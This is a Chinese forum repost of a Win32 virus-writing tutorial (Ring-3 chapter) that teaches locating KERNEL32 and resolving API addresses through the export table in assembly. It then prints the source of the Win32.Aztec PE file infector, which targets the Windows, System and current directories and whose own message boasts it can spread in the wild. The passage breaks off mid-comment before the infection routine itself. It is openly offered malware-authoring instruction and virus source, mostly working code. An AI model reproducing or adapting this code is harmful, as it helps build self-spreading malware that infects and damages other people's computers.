• 标 题:Billy Belceb 病毒编写教程for Win32 ----Ring-3,用户级编码
  • 作 者:onlyu
  • 时 间:2004-05-28,12:33
  • 链 接:http://bbs.pediy.com

【Ring-3,在用户级下编程】
~~~~~~~~~~~~~~~~~~~~~~~~~~
   嗯,用户级给了我们所有人很多令人压抑和不方便的限制,这是正确的,这妨碍了我们所崇拜的自由,这种我们在编写DOS病毒时所感受到的自由。但是,伙计,这就是生活,这就是我们的悲哀,这就是Micro$oft。Btw,这是唯一的(当今)能够完全Win32兼容的病毒的方法,而且这个环境是未来,正如你必须知道的。首先,让我们看看怎么用一种非常简单的方法来获得KERNEL32的基址(为了Win32兼容性):

%获得KERNEL32基址的一个简单方法%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
正如你所知道的,当我们在执行一个应用程序的时候,代码是从KERNEL32 "call"一部分代码的(也就像KERNEL调用我们的代码一样)。而且,如果你还记得的话,当一个call调用之后,返回的地址是在堆栈里(即,在由ESP所指定的内存地址里的)的。让我们看看关于这个的一个实际例子:

;---------------从这里开始剪切---------------------------------------------

        .586p                           ; Bah... simply for phun.
        .model  flat                    ; Hehehe i love 32 bit stuph ;)

        .data                           ; Some data (needed by TASM32/TLINK32)
        
        db      ?

        .code

 start:
        mov     eax,[esp]               ; Now EAX would be BFF8XXXXh (if w9X)
                                        ; ie, somewhere inside the API
                                        ; CreateProcess :)
        ret                             ; Return to it ;)
 end    start

;------------到这里为止剪切--------------------------------------------------

     相当简单。我们在EAX中得到一个值大约为BFF8XXXX(XXXX是一个不重要的值,这里这么写是因为不需要精确地知道它,再也不要拿那些无聊的东西来烦我了:))。因为Win32平台通常会对齐到一个页,我们可以搜索任何一个页的开头,而且因为KERNEL32头就在一个页的开头,我们能够很轻松地检查它。而且当我们找到我现在正在讨论的PE头的时候,我们就知道了KERNEL32的基址。嗯,作为限制,我们可以以50h页为限。呵呵,不要担心,下面是一些代码:)

;--------从这里开始剪切------------------------------------------------


        .586p
        .model  flat

 extrn  ExitProcess:PROC

        .data

 limit  equ     5

        db      0

 ;--------------------------------------
 ; 没有用而且没有意义的数据 :)                                       ;
 ;--------------------------------------

        .code

 test:       
        call    delta
 delta:
        pop     ebp
        sub     ebp,offset delta

        mov     esi,[esp]
        and     esi,0FFFF0000h
        call    GetK32

        push    00000000h
        call    ExitProcess

 ;-------------------------------------
 ; 呃,我认为你至少是一个普通ASM程序员, 所以我假定你知道指令的第一块是为了获得
 ; 地址偏移变化量(特别在这个例子里面不需要,然而,我喜欢使得它就像我们的病毒代码)。
 ; 第二块是我们所感兴趣的东西。我们把我们的程序开始调用的地址放在ESI中,即由ESP
 ; 所显示的地址(当然是如果我们在程序装载完后没有碰堆栈的情况下)。第二个指令,那个
 ; AND,是为了获得我们的代码正在调用的页的开头。我们调用我们的例程,在这之后,我
 ; 们结束处理:)
 ;-------------------------------------

 GetK32:

 __1:
        cmp     byte ptr [ebp+K32_Limit],00h
        jz      WeFailed

        cmp     word ptr [esi],"ZM"
        jz      CheckPE

 __2:
        sub     esi,10000h
        dec     byte ptr [ebp+K32_Limit]
        jmp     __1

 ;-------------------------------------
 ; 首先我们检查我们是否已经达到了我们的极限(50页)。在这之后,我们检查是否在页的开
 ; 头(它应该是)是否为MZ标志,而且如果找到了,我们继续检查PE头。如果没有,我们减
 ; 去10页(10000h字节),我们增加限制变量,再次搜索
 ;-------------------------------------

 CheckPE:
        mov     edi,[esi+3Ch]
        add     edi,esi
        cmp     dword ptr [edi],"EP"
        jz      WeGotK32
        jmp     __2
 WeFailed:
        mov     esi,0BFF70000h
 WeGotK32:
        xchg    eax,esi
        ret

 K32_Limit      dw      limit

 ;--------------------------------------
 ; 我们在MZ头开始后的偏移地址3CH处得到值(存着从哪儿开始PE头的RVA),我们把这个
 ; 值和页的地址规范化,而且如果从这个偏移地址处的内存地址标志是PE标志,我们就假
 ; 设已经找到了...而且我们确实是找到了!
 ;--------------------------------------

end     test

;--------到这里为止剪切-----------------------------------------------------

     一个建议:我测试了它,而且在Win98下和WinNT4 SP3下面没有给我们任何类型的问题,然而,我不知道在其它任何地方会发生什么,我建议你使用SEH来避免可能的页错误(和它们相关的蓝屏)。SEH将会在后面介绍。嗨,Lord Julus在他的教程里面所使用的方法(在感染文件里面搜索GetModuleHandleA函数)并不能很好地满足我的需要,无论如何,我将给出那个我自己版本的代码,在那里我将解释怎么来玩输入函数。例如,它在per-process驻留病毒里面要用到,在这个例程里面有一小点改变:)

%获取那些令人疯狂的API函数!!!%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    正如我在介绍那一章所介绍的,Ring-3是用户级的,所以我们只能访问它的有限的权限。例如,我们不能使用端口,读或写某些的内存区域,等等。当开发Win95(那些再也没有人说的"Win32平台是不可感染"的系统)的时候,微软如果压制住过去所编写的病毒,微软就确信能够击败我们。在他们的美梦中,他们认为我们不能使用他们的API函数,而且,他们更没想到我们能跳转到Ring-0,但是,这是另外一段历史了。
    正如你以前所说的,我们以API函数名作为外部函数,所以import32.lib给了我们函数的地址,而且它已经汇编了,但是我们在写病毒的时候有一个问题。如果我们hardcode(也就是说我们调用一个API函数的时候给的是一个固定的偏移地址),最可能发生的事情是在下一个版本的Win32版本中,那个地址再也不起作用了。你可以看看Bizatch中的一个例子。我们该怎么做呢?好了,我们有一个函数叫做GetProcAddress,它返回给我们的是我们所需要的API的地址。聪明的你可能已经注意到了GetProcAddress也是一个API,所以如果我们没有得到那个API还谈什么利用它来搜索其它API呢。正如在生活中我们所遇到的事情一样,我们有许多可能性的东西去做,而且我将提及我认为最好的两种方法:

1.在输入表中搜索GetProcAddress API函数。
2.当我们感染一个文件的时候,在它的输入函数里寻找GetProcAddress。

    因为最早的方法是第一个,猜猜现在我将会解释哪一个呢?:)OK,让我们以理论学习开始,在这之后,一些代码。
    如果你看看PE头的格式,我们在偏移地址78h(是PE头,不是文件!)得到输入表。好了,我们需要利用内核的输出地址。在Window 95/98下,内核通常在偏移地址0BFF70000h处,而Window NT的内核看起来是在077F00000h处。在Win2K中我们在偏移地址077E00000h处得到它。所以,首先,我们把它的地址保存到寄存器中,我们将用来作为指针。我强烈建议使用ESI,主要是因为我们可以通过使用LODSD来优化一些东西。好了,我们检查在这个地址处是不是"MZ"(恩反过来为"ZM",该死的intel处理器架构),因为内核是一个库(.DLL),而库有一个PE头,正如我们以前看PE头的时候,是DOS-兼容的一部分的时候所看到的。在那个比较之后,让我们检查它是不是PE,所以我们到头的偏移image_base+[3Ch] (=内核的偏移地址+内核的PE头的3Ch偏移),搜索比较"PE\0\0",PE文件的签名。
    如果所有都正确,那么让我们继续。我们需要输出表的RVA,正如你所能看到的,它在PE头的偏移地址78h处。所以我们得到了它。但是,正如你所知道的,RVA(Relative Virtual Address),正如它的名字所表明的,是和一个OFFSET的相对值,在这种image base为kernel的情况下,正如我以前所说的,那就是它的地址。就这么简单:仅仅把kernel的偏移加上在输出表(Export Table)中的RVA即可。好了,我们现在已经在输出表中了:)
    让我们看看它的格式:  
 ---------------------------------- <----+00000000h 
|          Export Flags            |      Size : 1 DWORD
|----------------------------------|<----+00000004h 
|        Time/Date stamp           |      Size : 1 WORD
|----------------------------------|<----+00000006h 
|          Major version           |       Size : 1 WORD
|----------------------------------|<----+00000008h  
|          Minor version           |      Size : 1 DWORD
|----------------------------------|<----+0000000Ch  
|            Name RVA              |      Size : 1 DWORD
|----------------------------------|<----+00000010h  
|   Number Of Exported Functions   |      Size : 1 DWORD
|----------------------------------|<----+00000014h 
|     Number Of Exported Names     |      Size : 1 DWORD
|----------------------------------|<----+00000018h 
|     Export Address Table RVA     |      Size : 1 DWORD
|----------------------------------|<----+0000001Ch 
|   Export Name Pointers Table RVA |      Size : 1 DWORD
|----------------------------------|<----+00000020h 
|       Export Ordinals RVA        |      Size : 1 DWORD
|__________________________________|             
                                       Total Size : 24h BYTES

    对我们来说是最后6个域。在地址表RVA的值中,正如你能想象的是,Name Pointers RVA 和 Ordinals RVA都是和KERNEL32的基址相关的。所以,获得API地址的第一步是知道这个API的位置,而知道它的最简单的方法是到Name Pointers所指示的偏移地址处去寻找,把它和我们想要找的API做比较,如果它们完全相同,我们就要计算API的偏移地址了。好了,我们已经到了这一步了,而且我们在计数器中有一个值,因为我们没检查一次API的名字就加一次。这个计数器,正如你能想象的,将会保存我们已经找到的API名字的个数,而且它们不相等。这个计数器可以是一个字或一个双字,但是最好不要是一个字节,因为我们需要超过255个API函数:)
    说明:我假设你把地址的VA(RVA+kernel image base),Name 和 (序数表)Ordinal tables已经保存到相关的变量中了。
    OK,假设我们已经获得了我们想要得到的API的名字,所以,我们得到了它在名字指针表中的计数。接下来可能对你来说是最复杂的,开始Win32编码。嗯,让我们继续下去。我们得到了计数,而且我们现在要在Ordinal Table(一个dword数组)中搜索我们想要得到的API的序数。当我们得到了API在数组(在计数器)中的数字,我们仅仅把它乘以2(记住,序数数组是由字组成的,所以,我们必须对字进行计算...),而且当然了,把它加上序数表的开始偏移地址。为了继续我已经解释的东西,我们需要由下面公式指向的字:

API's Ordinal location: ( counter * 2 ) + Ordinal Table VA

    很简单,是不是啊?下一步(而且是最后一步)是从地址表中获得API的确定地址。我们已经得到了API的序号,对吗?利用它,我们的生活变得非常容易。我们只有把序号乘以4(因为地址数组是双字形式的而不是字,而一个双字的大小是4),而且把它加上先前得到的地址表开始的偏移地址。呵呵,现在,我们得到了API地址的RVA啦。所以我们要把它规范化,加上Kernel的偏移地址,那样就好了。我们得到了它!!!让我们看看这个的数学公式:

 API's Address: ( API's Ordinal * 4 ) + Address Table VA + KERNEL32 imagebase

 --------------------------------------------------------------------- So, as we retrieve  the position
 | EntryPoint | Ordinal | Name             | that occupies the  string in the
 |--------------------|---------------|-------------------------------| Names  table, we  can  know  its 
 |  00005090  |   0001  | AddAtomA         | ordinal (each name has  an ordi-
 |--------------------|---------------|-------------------------------| nal that is in the same position
 |  00005100  |   0002  | AddAtomW         | than the API name), and  knowing
 |--------------------|---------------|-------------------------------| the  ordinal, we  can  know  its
 |  00025540  |   0003  | AddConsoleAliasA  | Address, that is, its entrypoint
 |--------------------|---------------|-------------------------------| RVA. We normalize it, and voila,
 |  00025500  |   0004  | AddConsoleAliasW | you  have  what  you  need,  the 
 \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ required API address.

[...]这些表还有更多的入口,但是有那些就足够了...
     我希望你已经理解了我解释的东西。我试图尽可能的使它表述简单,如果你不能理解它,不要往下看了,一步一步地重读它。要有耐心。我肯定你会懂地。嗯,现在你可能需要一些代码了。下面给出我例程,作为一个示例,在我的Iced Earth病毒中用到了。

;----从这儿开始剪切-----------------------------------------------------------
;
; GetAPI & GetAPIs procedures
; ===========================
;
; 这是我的寻找所有需要的API的函数... 它们被分成了两部分。
; GetAPI函数仅仅获得了我们需要的一个函数, 而GetAPIs函数
; 则搜索病毒所需要的所有API函数。
;

 GetAPI         proc

 ;--------------------------------------------------------------------------
 ; 让我们来看看,这个函数需要和返回的参数如下:
 ; 
 ;                                                                       
 ; 输入:   ESI : 指向API名字的指针 (区分大小写)                 
 ; 输出:   EAX : API 地址                                              
 ;--------------------------------------------------------------------------

        mov     edx,esi                         ; Save ptr to name
 @_1:   cmp     byte ptr [esi],0                ; Null-terminated char?
        jz      @_2                             ; Yeah, we got it.
        inc     esi                             ; Nopes, continue searching
        jmp     @_1                             ; bloooopz...
 @_2:   inc     esi                             ; heh, don't forget this ;)
        sub     esi,edx                         ; ESI = API Name size
        mov     ecx,esi                         ; ECX = ESI :)

 ;--------------------------------------------------------------------------
 ; 好了,我亲爱的朋友们,这很容易理解。我们在ESI中是指向API名字开始
 ; 的指针,让我们想象一下,我们想要寻找"FindFirstFileA":
 ;                                                                 
 ; FFFA         db   "FindFirstFileA",0                        
 ;                   ↑ 指针指向这儿                        
 ;                                                            
 ; 而且我们需要保存这个指针,并知道了API名的大小,所以
 ; 我们把指向API名字的初始指针保存到一个我们不用的寄存器中如EDX
 ; 然后增加在ESI中的指针的值,直到[ESI]=0
 ;                                                                  
 ; FFFA         db   "FindFirstFileA",0                          
 ;                                    ↑ 现在指针指向这儿了   
 ;                                                                 
 ; 也就是说,以NULL结尾:)然后,通过把新指针减去旧指针,我们得
 ; 到了API名字的大小,搜索引擎需要它。然后我把它保存到ECX中,
 ; 也是一个我们不会使用的寄存器。
 ;---------------------------------------------------------------------------

        xor     eax,eax                         ; EAX = 0
        mov     word ptr [ebp+Counter],ax       ; Counter set to 0

        mov     esi,[ebp+kernel]                ; Get kernel's PE head. offset
        add     esi,3Ch
        lodsw                                   ; in AX
        add     eax,[ebp+kernel]                ; Normalize it

        mov     esi,[eax+78h]                   ; Get Export Table RVA
        add     esi,[ebp+kernel]                ; Ptr to Address Table RVA
        add     esi,1Ch

 ;---------------------------------------------------------------------------
 ; 首先,我们清除EAX,然后为了避免无法预料的错误,使得计数变量为0。
 ; 如果你还记得PE文件头偏移地址3CH(从映象基址MZ标志开始计数)的作用,
 ; 你会理解这个的。我们正在请求得到KERNEL32 PE头偏移的开始。因为
 ; 它是一个RVA,我们把它规范化,那就是我们得到了它的PE头偏移地址。
 ; 现在我们所要做的是获得输出表(Export Table)的地址(在PE头+78h处),
 ; 然后,我们避开这个结构的不想要的数据,直接获得地址表(Address Table)
 ; 的RVA。
 ;---------------------------------------------------------------------------

        lodsd                                   ; EAX = Address Table RVA
        add     eax,[ebp+kernel]                ; Normalize
        mov     dword ptr [ebp+AddressTableVA],eax ; Store it in VA form

        lodsd                                   ; EAX = Name Ptrz Table RVA
        add     eax,[ebp+kernel]                ; Normalize
        push    eax                             ; mov [ebp+NameTableVA],eax

        lodsd                                   ; EAX = Ordinal Table RVA
        add     eax,[ebp+kernel]                ; Normalize
        mov     dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form

        pop     esi                             ; ESI = Name Ptrz Table VA

 ;---------------------------------------------------------------------------
 ; 如果你还记得,在ESI中是指向地址表RVA(Address Table RVA)的指针,所以,
 ; 我们为了得到那个地址,用了一个LODSD,它把由ESI所指定的双字(DWORD)保
 ; 存到EAX中。因为它是一个RVA,我们需要对它规范化。
 ;                                                                 
 ; 让我们看看Matt Pietrek关于这个第一个域的描述:
 ;                                                                   
 ; “这个域是一个RVA而且指向一个函数地址数组。这个函数地址是这个模块中
 ; 每一个输出地址的入口点(RVA)。”
 ;                                       
 ;                                                       
 ; 毫无疑问了,我们把它保存到它的变量中了。然后,接下来我们找到的
 ; 是名字指针表(Name Pointers Table),Matt Pietrek的描述如下:
 ;                                
 ; “这个域是一个RVA,而且指向一个字符串指针数组。这些字符串是模块
 ; 的输出函数的名字。”
 ;                                                   
 ; 但是我没有把它保存到一个变量中,我把它压栈,仅仅是因为我很快就要用到
 ; 它。最终,我们找到了,下面是Matt Pietrek关于它的描述:
 ;                                           
 ; “这个域是一个RVA,而且指向一个字(WORD)数组。这些字是这个模块
 ; 的所有输出函数的序号”。
 ;                                     
 ; 好了,那就是我们所做的事情。
 ;---------------------------------------------------------------------------

 @_3:   push    esi                             ; Save ESI for l8r restore
        lodsd                                   ; Get value ptr ESI in EAX
        add     eax,[ebp+kernel]                ; Normalize
        mov     esi,eax                         ; ESI = VA of API name
        mov     edi,edx                         ; EDI = ptr to wanted API
        push    ecx                             ; ECX = API size
        cld                                     ; Clear direction flag
        rep     cmpsb                           ; Compare both API names
        pop     ecx                             ; Restore ECX
        jz      @_4                             ; Jump if APIs are 100% equal
        pop     esi                             ; Restore ESI
        add     esi,4                           ; And get next value of array
        inc     word ptr [ebp+Counter]          ; Increase counter
        jmp     @_3                             ; Loop again

 ;---------------------------------------------------------------------------
 ; 嗨,是不是我放了太多的代码而没有注释?因为我刚做好,但是懂得了这一块代码
 ; 不能因为解释它而分离开来。我们首先所做的是把ESI(在CMPSB指令执行中将改变)
 ; 压栈,以备后用。然后,我们获得由ESI(Name Pointerz Table)指向的双字保存到
 ; 累加器(EAX)中,所有这些通过LODSD指令实现。我们通过加上kernel的基址来规范
 ; 化它。好了,现在我们在EAX中是指向某一个API名字的指针,但是我们不知道(仍然)
 ; 是什么API。例如,EAX可以指向诸如"CreateProcessA",而这个API对我们的病毒来
 ; 说不感兴趣...为了把那个字符串和我们想要的字符串(现在由EDX指向),我们有CMPSB。
 ; 所以,我们准备它的参数:在ESI中,我们使得指针指向现在在Name Pointerz Table中
 ; 的API的开始,在EDI中,我们使之指向需要的API)。在ECX中我们保存它的大小,
 ; 然后我们按字节比较。如果所有的字符相等,就设置0标志,然后跳转到获取那个API
 ; 地址的例程,但是如果它失败了,我们恢复ESI,并把它加上DWORD的大小,为了获取
 ; 在Name Pointerz Table数组中的下一个值。我们增加计数器的值(非常重要),然后
 ; 继续搜索。
 ;---------------------------------------------------------------------------

 @_4:   pop     esi                             ; Avoid shit in stack
        movzx   eax,word ptr [ebp+Counter]      ; Get in AX the counter
        shl     eax,1                           ; EAX = AX * 2
        add     eax,dword ptr [ebp+OrdinalTableVA] ; Normalize 
        xor     esi,esi                         ; Clear ESI
        xchg    eax,esi                         ; EAX = 0, ESI = ptr to Ord
        lodsw                                   ; Get Ordinal in AX
        shl     eax,2                           ; EAX = AX * 4
        add     eax,dword ptr [ebp+AddressTableVA] ; Normalize
        mov     esi,eax                         ; ESI = ptr to Address RVA
        lodsd                                   ; EAX = Address RVA
        add     eax,[ebp+kernel]                ; Normalize and all is done.
        ret

 ;---------------------------------------------------------------------------
 ; Pfff, 又一个巨大的代码块,而且看起来很难理解,对吗?呵呵,不要害怕,我将要
 ; 注释它:)
 ; 呃,pop指令是为了清除堆栈,我们把计数值(因为它是一个WORD)放置到EAX的低位
 ; 中,并把这个寄存器的高位清0。我们把它乘以2,因为我们只得到了它的数字,
 ; 而且我们要搜索的数组是一个WORD数组。现在把它加上指向我们要搜索的数组开始的
 ; 指针,而在EAX中是我们想要的API的指针的序号。所以我们把EAX保存到ESI中为了使
 ; 用那个指针来获取它指向的值,也就是说,序号保存到EAX中,用简单的LODSW。
 ; 嗨,我们得到了序号,但是我们想要的是API代码的入口(EntryPoint),所以,我们
 ; 把序数(保存了想要的API在地址表中的入口点位置)乘上4,也就是说DWORD的大小,
 ; 然后我们得到了一个RVA值,和Address Table RVA 相关,所以我们规范化,那么现在
 ; 我们在EAX中得到的是指向地址表中的API的入口点的指针。我们把EAX赋给ESI,在EAX
 ; 中得到了指向的值。这样我们在EAX中得到了需要的API的入口RVA的值。嗨,现在我们
 ; 必须要做的是把那个地址和KERNEL32的基址规范化,瞧,做好了,我们在EAX中
 ; 得到了API的真正地址!!!;)
 ;---------------------------------------------------------------------------

 GetAPI         endp

 ;---------------------------------------------------------------------------
 ;---------------------------------------------------------------------------

 GetAPIs        proc
 
 ;---------------------------------------------------------------------------
 ; Ok, 这是通过使用以前的函数来获得所有API的代码,它的参数为:
 ;                                                                     
 ; 输入:  ESI : 指向想要得到的第一个API名字ASCII码的首地址          
 ;        EDI : 指向将要保存的想要得到第一个API的变量
 ; 输出:  无。                                                     
 ;                                        
 ; 好了,我假设你想要获得的所有值的结构如下:
 ;                                                               
 ; ESI 指向 →  db         "FindFirstFileA",0             
 ;              db         "FindNextFileA",0            
 ;              db         "CloseHandle",0            
 ;              [...]                                   
 ;              db         0BBh ; 标志着这个数组的结束  
 ;                                                         
 ; EDI 指向 → dd         00000000h ;  FFFA 的将来的地址     
 ;             dd         00000000h ;  FNFA 的将来的地址 
 ;             dd         00000000h ;  CH   的将来的地址 
 ;             [...]                           
 ; 我希望你足够聪明,能理解它。             
 ;---------------------------------------------------------------------------

 @@1:   push    esi
        push    edi
        call    GetAPI
        pop     edi
        pop     esi
        stosd

 ;---------------------------------------------------------------------------
 ; 我们把在这个函数中处理的值压栈为了避免它们改变,并调用GetAPI函数。
 ; 我们假设现在ESI是一个指向想要的API名字的指针,EDI是指向要处理API名字的变量
 ; 的指针。因为函数在EAX中返回给我们API的偏移地址,我们通过使用STOSD把它保存到
 ; 由EDI指向的相关变量中。
 ;---------------------------------------------------------------------------

 @@2:   cmp     byte ptr [esi],0
        jz      @@3
        inc     esi
        jmp     @@2
 @@3:   cmp     byte ptr [esi+1],0BBh
        jz      @@4
        inc     esi
        jmp     @@1
 @@4:   ret
 GetAPIs        endp

 ;---------------------------------------------------------------------------
 ; 可以更优化,我知道,但是,为了更好为我的解释服务。我们首先所做的是到达我们
 ; 以前请求的地址的字符串的尾部,现在它指向下一个API。但是我们想要知道它是否
 ; 是最后一个API,所以我们检查我们的标志,字节0BBh(猜猜为什么是0BBh?)。如果它
 ; 是,我们就已经得到了所有需要的API,而如果不是,我们继续我们的搜索。
 ;---------------------------------------------------------------------------
 ;------到这儿为止剪切-------------------------------------------------------

    呵呵,我尽可能的使得这些过程简单,而且我注释了很多,你将会不通过复制就可以理解了。而且如果你
你复制也不是我的问题...呵呵,我没有不允许你复制它:)但是,现在的问题是我们该搜索什么API呢?这主要依赖于在进行PE操作之前方式。我将给你演示一个直接行为(即运行期)版本的一个病毒,它使用了文件映射计数(更容易操作和更快地感染),我将会列出你能使用地API函数。

%一个病毒示例%
~~~~~~~~~~~~~~
    不要认为我疯了,我将在这里放一个病毒的代码仅仅是为了避免烦人的解释所有API的东西,而且还可以看看它们的作用:)好了,下面你得到的是我的最近的创造。我花了一个下午来完成它:我把它基于Win95.Iced Earth,但是没有bug和特殊功能。享受这个Win32.Aztec!(Yeah, Win32!!!)。

;----从这儿开始剪切-----------------------------------------------------------
; [Win32.Aztec v1.01] - Iced Earth的Bug修复版本
; Copyright (c) 1999 by Billy Belcebu/iKX
;
; 病毒名    : Aztec v1.01
; 病毒作者  : Billy Belcebu/iKX
; 国籍      : Spain(西班牙)
; 平台      : Win32
; 目标      : PE 文件
; 编译      : TASM 5.0 和 TLINK 5.0 用
;                       tasm32 /ml /m3 aztec,,;
;                       tlink32 /Tpe /aa /c /v aztec,aztec,,import32.lib,
;                       pewrsec aztec.exe
; 说明      : 现在所有东西都是特别的了。只是Iced Earth病毒的bug修复,并移除了一些特殊功能
;             这是一个学习Win32病毒的真正病毒。
; 为什么'Aztec'?  : 为什么叫这个名字呢?许多原因:
;                 ?如果有一个 Inca 病毒和一个 Maya 病毒... ;)
;                 ?我在 Mexico 生活过6个月
;                 ?I hate the fascist way that Hernan Cortes used for steal
;                   their territory to the Aztecs
;                 ?I like the kind of mithology they had ;)
;                 ?我的声卡是一个 Aztec的 :)
;                 ?我爱 Salma Hayek! :)~
;                 ?KidChaos 是我的一个朋友 :)
; 问候     : 这次只向所有在EZLN 和 MRTA的人问候。
;                 祝所有人好运,和... 继续战斗!
;
; (c) 1999 Billy Belcebu/iKX

        .386p                                   ; 需要386+  =)
        .model  flat                            ; 32 位寄存器, 没有段.
        jumps                                   ; 为了避免跳出范围

extrn   MessageBoxA:PROC                        ; 第一次产生的时候输入的API函数:) 
extrn   ExitProcess:PROC                        ; 

; 病毒的一些有用的equ

virus_size      equ     (offset virus_end-offset virus_start)
heap_size       equ     (offset heap_end-offset heap_start)
total_size      equ     virus_size+heap_size
shit_size       equ     (offset delta-offset aztec)

; 仅仅是为第一次产生的时候编码的, 不要担心 ;)

kernel_         equ     0BFF70000h
kernel_wNT      equ     077F00000h

        .data

szTitle         db      "[Win32.Aztec v1.01]",0

szMessage       db      "Aztec is a bugfixed version of my Iced Earth",10
                db      "virus, with some optimizations and with some",10
                db      "'special' features removed. Anyway, it will",10
                db      "be able to spread in the wild succefully :)",10,10
                db      "(c) 1999 by Billy Belcebu/iKX",0

 ;---------------------------------------------------------------------------
 ; 所有这些都是狗屎:有一些宏可以使得这些代码更好看,而且有一些是为
 ; 第一次产生时用的,等等。
 ;---------------------------------------------------------------------------

        .code

virus_start     label   byte

aztec:
        pushad                                  ; Push 所有寄存器
        pushfd                                  ; Push FLAG 寄存器

        call    delta                           ; 最难理解的代码 ;)
delta:  pop     ebp
        mov     eax,ebp
        sub     ebp,offset delta

        sub     eax,shit_size                   ; Obtain the Image Base on 
        sub     eax,00001000h                   ; the fly
NewEIP  equ     $-4
        mov     dword ptr [ebp+ModBase],eax

 ;---------------------------------------------------------------------------
 ; Ok. 首先,我把所有的寄存器和所有的标志都压栈了(不是因为需要这么做,仅仅是
 ; 因为我一直喜欢这么做)。然后,我所做的都是非常重要的。是的!它是delta offset!
 ; 我们必须得到它因为原因你必须知道:我们不知道我们是在内存的哪里执行代码,所
 ; 以通过这个我们就能很容易地知道它...我不会告诉你更多关于delta offset的东西了,
 ; 因为我肯定你已经从DOS编码就知道了;)接下来是获得当前进程的基址(Image Base),
 ; 这需要返回控制权给主体(将会在以后做)。首先我们减去在delta标志和aztec标志
 ; (7 bytes->PUSHAD (1)+PUSHFD (1)+CALL (5))的字节,然后我们减去当前的EIP
 ; (在感染的时候补丁),也就是说我们得到了当前的基址(Image Base)。
 ;---------------------------------------------------------------------------


        mov     esi,[esp+24h]                   ; 获得程序返回地址
        and     esi,0FFFF0000h                  ; 和10页对其
        mov     ecx,5                           ; 50 页 (10组)
        call    GetK32                          ; 调用它
        mov     dword ptr [ebp+kernel],eax      ; EAX 必须是 K32 的基址

 ;---------------------------------------------------------------------------
 ; 首先,我们从调用的进程(它在,可能为CreateProcess API函数)中得到的地址放到
 ; ESI中,它最初是由ESP所指向的地址,但是当我们使用堆栈压了24个字节(20被PUSHAD,
 ; 其它的为PUSHFD),我们不得不修正它。然后我们使它按10页对齐,使ESI的低位为0。
 ; 在这之后,我们设置GetK32函数的其它参数,ECX,保存着要搜索的10页的最大组数,
 ; 为5(也就是说5*10=50页),然后我们调用函数。当它返回给我们正确的KERNEL32的
 ; 基址之后,我们把它保存起来。
 ;---------------------------------------------------------------------------

        lea     edi,[ebp+@@Offsetz]
        lea     esi,[ebp+@@Namez]
        call    GetAPIs                         ; 找到所有的API

        call    PrepareInfection
        call    InfectItAll

 ;---------------------------------------------------------------------------
 ; 首先,我们设置GetAPIs函数的参数,就是在EDI中是一个指针,这个指针指向将要
 ; 保存API地址的DWORD数组,在ESI是所有要搜索的API函数的ASCII名字。
 ;---------------------------------------------------------------------------

        xchg    ebp,ecx                         ; 是不是第一次产生?
        jecxz   fakehost

        popfd                                   ; 恢复所有的标志
        popad                                   ; 恢复所有的寄存器

        mov     eax,12345678h
        org     $-4
OldEIP  dd      00001000h

        add     eax,12345678h
        org     $-4
ModBase dd      00400000h

        jmp     eax

 ;---------------------------------------------------------------------------
 ; 首先,我们看看我们是不是在第一次产生病毒,通过检测EBP的值是否为0。如果是,
 ; 我们跳转到第一次产生的地方。但是,如果它不是,我们先从堆栈中恢复标志寄存器,
 ; 接下来是所有的寄存器。然后我们的指令是给EAX赋感染后的程序旧入口地址(在感染
 ; 的时候补丁),然后我们把它加上当前进程(在运行期补丁)的基址,我跳到它那里。
 ;---------------------------------------------------------------------------

PrepareInfection:
        lea     edi,[ebp+WindowsDir]            ; 指向第一个目录
        push    7Fh                             ; 把缓存的大小压栈
        push    edi                             ; 把缓存的地址压栈
        call    [ebp+_GetWindowsDirectoryA]     ; 获取windows目录

        add     edi,7Fh                         ; 指向第二个目录
        push    7Fh                             ; 把缓存的大小压栈
        push    edi                             ; 把缓存的地址压栈
        call    [ebp+_GetSystemDirectoryA]      ; 获取 windows\system 目录

        add     edi,7Fh                         ; 指向第三个目录
        push    edi                             ; 把缓存的地址压栈
        push    7Fh                             ; 把缓存的大小压栈
        call    [ebp+_GetCurrentDirectoryA]     ; 获取当前目录
        ret

 ;---------------------------------------------------------------------------
 ; 这是一个简单的用来获取病毒将要搜索文件来感染的所有目录,并按这个特定顺序。
 ; 因为一个目录的最大长度是7F字节,我已经保存到堆栈(看下面)的三连续变量中,
 ; 因此避免无用的代码占更多的字节,和随病毒传播无用的数据。请注意在最后一个
 ; API中没有任何错误,因为在那个API中,顺序改变了。让我们对那个API做一个更
 ; 深的分析:
 ; 
 ; GetWindowsDirectory函数得到Windows的目录。Windows目率包含了一些基于Windows
 ; 的应用程序,初始化文件,和帮助文件。
 ;                                                                  
 ; UINT GetWindowsDirectory(                                     
 ;   LPTSTR lpBuffer,    // 保存Windows目录的缓存地址   
 ;   UINT uSize  // 目录缓存的大小                          
 ;  );                                                          
 ;                                              
 ; 参数       
 ; ====
 ; ?lpBuffer: 指向接受NULL结尾的包含路径的字符串的缓存。这个路径不是以一个
 ;   反斜线符号结束的,除非Windows目录是根目录。例如,如果Windows目录是在C
 ;   盘上的以WINDOWS命名的,那么这个函数返回的Windows目录是C:\WINDOWS.如果
 ;   Windows是安装在C盘的根目录上的,返回的路径是C:\。
 ; ?uSize: 指定被lpBuffer参数指向的缓存的字符最大个数。这个值应该设置成至少
 ;   为MAS_PATH来为路径指定足够的空间。
 ;                                                               
 ; 返回值                                       
 ; ======                                         
 ;                                                         
 ; ?如果函数成功执行了,返回值是复制到缓冲区的字符个数,不包括NULL结尾符。
 ; ?如果长度比缓冲区的大小还要大,返回值将是缓冲区所需要保存路径所需要的
 ;  大小。
 ;                                
 ; ---                                    
 ;                                 
 ; GetSystemDirectory 函数得到的是Windows系统目录,系统目录包括诸如Windows库
 ; 驱动和字体文件。
 ;                                                
 ; UINT GetSystemDirectory(                    
 ;   LPTSTR lpBuffer,    // 保存系统目录的缓冲区
 ;   UINT uSize  // 目录缓冲区的大小
 ;  );                                 
 ;                                
 ;                              
 ; 参数       
 ; ====
 ;                                        
 ; ?lpBuffer: 指向接受以NULL结尾的包含路径的字符串的缓冲区。这个路径不是以一个
 ;   反斜线符号结尾的,除非系统目录是根目录。例如,如果系统目录是在C盘上的名为
 ;   WINDOWS\SYSTEM,那么这个函数返回的系统目录路径为C:\WINDOWS\SYSTEM。
 ;                                      
 ; ?uSize: 指定缓冲区的最大字符个数。这个值应该被设置成最小MAX_PATH。
 ;                    
